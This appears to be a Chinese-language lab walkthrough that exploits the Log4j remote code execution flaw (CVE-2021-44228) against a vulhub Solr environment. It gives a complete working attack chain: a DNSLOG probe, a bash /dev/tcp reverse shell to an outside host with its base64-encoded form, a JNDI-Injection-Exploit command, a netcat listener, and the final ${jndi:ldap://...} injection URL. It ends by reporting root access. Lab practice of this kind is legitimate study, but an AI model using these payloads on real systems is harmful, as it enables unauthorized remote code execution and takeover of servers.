前提:
漏洞名称:Apche log4j远程代码执行漏洞
漏洞编号:CVE-2021-44228
靶场:vulhub
用vulhub靶场搭建,首先进入目录CVE-2021-44228中,docker启动命令:
docker-compose up -d 开启环境
docker ps 查看端口信息
端口开在8983,访问网站,环境搭建成功
在DNSLOG平台上获取⼀个域名来监控我们注⼊的效果
可以发现 /solr/admin/cores?action= 这⾥有个参数可以传,可以按照上⾯的原理 先构造⼀个请求传过去存在JNDI注⼊那么ldap服务端会执⾏我们传上去的payload然后在DNSLOG 平台上那⾥留下记录,我们可以看到留下了访问记录并且前⾯的参数被执⾏后给我们回显了java的 版本号
开始反弹Shell准备 JNDI-Injection-Exploit 下载地址并构造PayLoad如下...启动!
JDNI 项⽬地址
Release JNDI-Injection-Exploit v1.0 · welk1n/JNDI-Injection-Exploit · GitHub
反弹 shell
bash -i >& /dev/tcp/172.16.1.13/6666 0>&1
反弹 Shell-base64 加密YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMS4xMy82NjY2IDA+JjE=
命令模板
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,[ 经过 base64 编码后的命令 ]}|{base64,-d}|bash" -A [你的 vpsip]
最终 Payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMS4xMy82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" -A "172.16.1.13"
服务器监听
nc -lvvp 6666
拿取JDK1.8并构造Payload且直接访问..可以看到⽹⻚被重定向到了我们的恶意类⽹址
http://ip地址:8983/solr/admin/cores?action=${jndi:ldap://172.16.1.13:1389/yhlt2h}
将红字替换成JDK1.8的ldap
去另外⼀个监控终端看看shell有没有弹回来且⽤whoami 命令查看权限,发现已经成功获取到root权限了。⼤功告成